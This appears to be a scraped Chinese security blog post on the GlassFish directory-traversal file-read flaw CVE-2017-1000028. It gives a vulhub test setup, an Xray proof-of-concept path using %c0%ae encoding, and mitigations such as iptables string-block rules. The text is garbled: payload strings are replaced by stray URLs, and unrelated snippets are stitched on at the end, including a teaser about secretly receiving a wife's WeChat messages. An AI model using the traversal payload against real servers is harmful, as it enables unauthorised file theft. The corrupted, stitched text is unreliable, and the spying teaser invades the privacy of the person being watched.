glassfish 是一款 java 编写的跨平台的开源的应用服务器。
java语言中会把 解析为 ,最后转义为ASCCII字符的(点)。利用 来向上跳转,达到目录穿越、任意文件读取的效果。所以 glassfish 这个 poc 实际上就是//https://www.freebuf.com/articles/etc/passwd。
影响版本:
< 4.1.1(不含 4.1.1)
如下测试环境借助 vulhub 的 docker 镜像,附上 P 师傅的链接:https://github.com/vulhub/vulhub?
编译、运行测试环境,本环境超级管理员密码在 中设置,默认为 ,在4848端口利用该密码可以登录管理员账户。
docker-compose up -d
环境运行后,访问 和 即可查看 web 页面。其中,8080 端口是网站内容,4848 端口是 GlassFish 管理中心。
无需登录,直接访问 ,发现已成功读取 内容:
如下是 Xray 的 POC,其只穿越了上级目录,检测了版本信息,不涉及敏感信息,但同样也验证了漏洞存在。
name: poc-yaml-glassfish-cve-2017-1000028-lfi rules: - method: GET path: /theme/META-INF/%c0%ae%c0%ae/META-INF/MANIFEST.MF follow_redirects: true expression: | response.status==200 && response.body.bcontains(b"Ant-Version:") && response.body.bcontains(b"Manifest-Version:") detail: version: <4.1.0 author: sharecast links: - https://github.com/vulhub/vulhub/tree/master/glassfish/4.1.0
1. 关闭远程管理关闭远程管理,关闭后只允许本地访问,会提示要求输入用户名和密码,开发环境或者对服务器安全要求较高的环境可以选择这么做,修改该设置后应该重启 GlassFish 服务
https://www.freebuf.com/articles/web/asadmin change-admin-password https://www.freebuf.com/articles/web/asadmin disable-secure-admin https://www.freebuf.com/articles/web/asadmin stop-domain https://www.freebuf.com/articles/web/asadmin start-domain asadmin.bat change-admin-password asadmin.bat disable-secure-admin asadmin.bat stop-domain asadmin.bat start-domain
需要注意的是,关闭远程访问只能禁用远程 login 登录,但是攻击 url 还是可以访问,任意文件读取依然存在
2. IPtables 规则
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '..\%c0\%af' -j DROP iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '\%c0\%ae/' -j DROP iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string 'https://www.freebuf.com/articles/' -j DROP //该规则无法防御HTTPS SSL方案
3. 禁用 web.xml theme 映射\glassfish4\glassfish\lib\install\applications__admingui\WEB-INF\web.xml
<!-- <servlet-mapping> <servlet-name>ThemeServlet</servlet-name> <url-pattern>/theme/*</url-pattern> </servlet-mapping> -->
重启 glassfish 后生效
https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904
妻子长期遭家暴,先后两次向法院提出离婚,就在第二次提起离婚诉讼后没多久,她却惨遭丈夫杀害。今年 6 月 12 日,现代快报曾报道此案,引发社会广泛关注。7 月 24 日,南京市中级人民法院对此案作出判...
迪奥真是把口红颜色玩的溜啊,光999这一个色号就玩出了六种花样,滋润999、哑光999、夹心999、金属999、红管999、唇釉999,我一个女孩子都快分不清了~ Dior烈焰蓝金唇膏,诞生于1...
混合性组织结缔病是一种较为特殊的病症,很多专家都对它的命名颇有微词,却想不出更适合的名词。因为它相当于是把系统性红斑狼疮、硬皮病、肌炎以及类风湿性关节炎的症状都混合在了一起。这种病症因为症状较为混合,...
封号?有时候系统会出现那么一丁点故障,然后被别人注册过去,那你的信息,呵呵 封qq号,要qq的管理员去做,要是随便人都能封号,那qq就没办法管理了,哪天你的号被封了都不知道为啥 你知道QQ号的吧?有个...
1 接收老婆微信聊天记录 现在我们的日常生活中,我们几乎都使用微信进行通信,这是非常方便的。我们可以在微信上聊天,这很方便。然而,接下来的是,我们的个人隐私也在其中。然而,如果有一些小秘密,我们...
应用软件在不当的环境下操作之后有时会出现“无法打开这个应用”的提示情况,这时我们应该如何操作来解决这个问题呢? 1、使用组合键Win r,打开“运行”窗口,并输入gpedit.msc命令,按回车执行;...